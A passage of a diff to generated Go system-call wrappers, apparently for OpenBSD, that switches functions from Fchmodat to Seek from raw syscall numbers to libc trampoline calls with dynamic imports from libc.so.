uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fchmodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmodat fchmodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { - _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_fchown_trampoline_addr, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchown fchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { @@ -656,27 +864,35 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_fchownat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchownat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchownat fchownat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { - _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_flock_trampoline_addr, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_flock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_flock flock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fpathconf(fd int, name int) (val int, err error) { - r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_fpathconf_trampoline_addr, uintptr(fd), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -684,16 +900,24 @@ func Fpathconf(fd int, name int) (val int, err error) { return } +var libc_fpathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fpathconf fpathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { - _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstat fstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { @@ -702,71 +926,99 @@ func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fstatat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatat fstatat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatfs(fd int, stat *Statfs_t) (err error) { - _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstatfs_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatfs fstatfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { - _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fsync_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fsync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fsync fsync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { - _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length)) + _, _, e1 := syscall_syscall(libc_ftruncate_trampoline_addr, uintptr(fd), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_ftruncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ftruncate ftruncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { - r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getegid_trampoline_addr, 0, 0, 0) egid = int(r0) return } +var libc_getegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getegid getegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_geteuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_geteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_geteuid geteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { - r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getgid_trampoline_addr, 0, 0, 0) gid = int(r0) return } +var libc_getgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgid getgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getpgid_trampoline_addr, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -774,34 +1026,50 @@ func Getpgid(pid int) (pgid int, err error) { return } +var libc_getpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgid getpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgrp() (pgrp int) { - r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpgrp_trampoline_addr, 0, 0, 0) pgrp = int(r0) return } +var libc_getpgrp_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgrp getpgrp "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { - r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpid_trampoline_addr, 0, 0, 0) pid = int(r0) return } +var libc_getpid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpid getpid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { - r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getppid_trampoline_addr, 0, 0, 0) ppid = int(r0) return } +var libc_getppid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getppid getppid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { - r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) + r0, _, e1 := syscall_syscall(libc_getpriority_trampoline_addr, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -809,20 +1077,28 @@ func Getpriority(which int, who int) (prio int, err error) { return } +var libc_getpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpriority getpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrlimit getrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrtable() (rtable int, err error) { - r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getrtable_trampoline_addr, 0, 0, 0) rtable = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -830,20 +1106,28 @@ func Getrtable() (rtable int, err error) { return } +var libc_getrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrtable getrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { - _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrusage_trampoline_addr, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrusage_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrusage getrusage "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getsid_trampoline_addr, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -851,46 +1135,66 @@ func Getsid(pid int) (sid int, err error) { return } +var libc_getsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsid getsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_gettimeofday_trampoline_addr, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_gettimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_gettimeofday gettimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_getuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getuid getuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Issetugid() (tainted bool) { - r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0) + r0, _, _ := syscall_syscall(libc_issetugid_trampoline_addr, 0, 0, 0) tainted = bool(r0 != 0) return } +var libc_issetugid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_issetugid issetugid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, signum syscall.Signal) (err error) { - _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0) + _, _, e1 := syscall_syscall(libc_kill_trampoline_addr, uintptr(pid), uintptr(signum), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_kill_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kill kill "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kqueue() (fd int, err error) { - r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0) + r0, _, e1 := syscall_syscall(libc_kqueue_trampoline_addr, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -898,6 +1202,10 @@ func Kqueue() (fd int, err error) { return } +var libc_kqueue_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kqueue kqueue "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { @@ -906,13 +1214,17 @@ func Lchown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_lchown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lchown lchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Link(path string, link string) (err error) { @@ -926,13 +1238,17 @@ func Link(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_link_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_link_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_link link "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) { @@ -946,23 +1262,31 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er if err != nil { return } - _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_linkat_trampoline_addr, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_linkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_linkat linkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, backlog int) (err error) { - _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0) + _, _, e1 := syscall_syscall(libc_listen_trampoline_addr, uintptr(s), uintptr(backlog), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_listen_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_listen listen "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { @@ -971,13 +1295,17 @@ func Lstat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_lstat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lstat lstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdir(path string, mode uint32) (err error) { @@ -986,13 +1314,17 @@ func Mkdir(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdir mkdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { @@ -1001,13 +1333,17 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkdirat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdirat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdirat mkdirat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifo(path string, mode uint32) (err error) { @@ -1016,13 +1352,17 @@ func Mkfifo(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkfifo_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifo_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifo mkfifo "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifoat(dirfd int, path string, mode uint32) (err error) { @@ -1031,13 +1371,17 @@ func Mkfifoat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkfifoat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifoat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifoat mkfifoat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknod(path string, mode uint32, dev int) (err error) { @@ -1046,13 +1390,17 @@ func Mknod(path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) + _, _, e1 := syscall_syscall(libc_mknod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknod mknod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { @@ -1061,23 +1409,31 @@ func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) + _, _, e1 := syscall_syscall6(libc_mknodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknodat mknodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { - _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) + _, _, e1 := syscall_syscall(libc_nanosleep_trampoline_addr, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_nanosleep_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_nanosleep nanosleep "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Open(path string, mode int, perm uint32) (fd int, err error) { @@ -1086,7 +1442,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) + r0, _, e1 := syscall_syscall(libc_open_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1094,6 +1450,10 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { return } +var libc_open_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_open open "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { @@ -1102,7 +1462,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) + r0, _, e1 := syscall_syscall6(libc_openat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1110,6 +1470,10 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { return } +var libc_openat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_openat openat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pathconf(path string, name int) (val int, err error) { @@ -1118,7 +1482,7 @@ func Pathconf(path string, name int) (val int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_pathconf_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1126,6 +1490,10 @@ func Pathconf(path string, name int) (val int, err error) { return } +var libc_pathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pathconf pathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pread(fd int, p []byte, offset int64) (n int, err error) { @@ -1135,7 +1503,7 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0) + r0, _, e1 := syscall_syscall6(libc_pread_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1143,6 +1511,10 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pread_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pread pread "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pwrite(fd int, p []byte, offset int64) (n int, err error) { @@ -1152,7 +1524,7 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0) + r0, _, e1 := syscall_syscall6(libc_pwrite_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1160,6 +1532,10 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pwrite_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pwrite pwrite "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { @@ -1169,7 +1545,7 @@ func read(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1177,6 +1553,10 @@ func read(fd int, p []byte) (n int, err error) { return } +var libc_read_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_read read "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlink(path string, buf []byte) (n int, err error) { @@ -1191,7 +1571,7 @@ func Readlink(path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_readlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1199,6 +1579,10 @@ func Readlink(path string, buf []byte) (n int, err error) { return } +var libc_readlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlink readlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { @@ -1213,7 +1597,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_readlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1221,6 +1605,10 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { return } +var libc_readlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlinkat readlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rename(from string, to string) (err error) { @@ -1234,13 +1622,17 @@ func Rename(from string, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_rename_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rename_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rename rename "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(fromfd int, from string, tofd int, to string) (err error) { @@ -1254,13 +1646,17 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) + _, _, e1 := syscall_syscall6(libc_renameat_trampoline_addr, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_renameat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_renameat renameat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Revoke(path string) (err error) { @@ -1269,13 +1665,17 @@ func Revoke(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_revoke_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_revoke_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_revoke revoke "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rmdir(path string) (err error) { @@ -1284,17 +1684,21 @@ func Rmdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_rmdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rmdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rmdir rmdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { - r0, _, e1 := 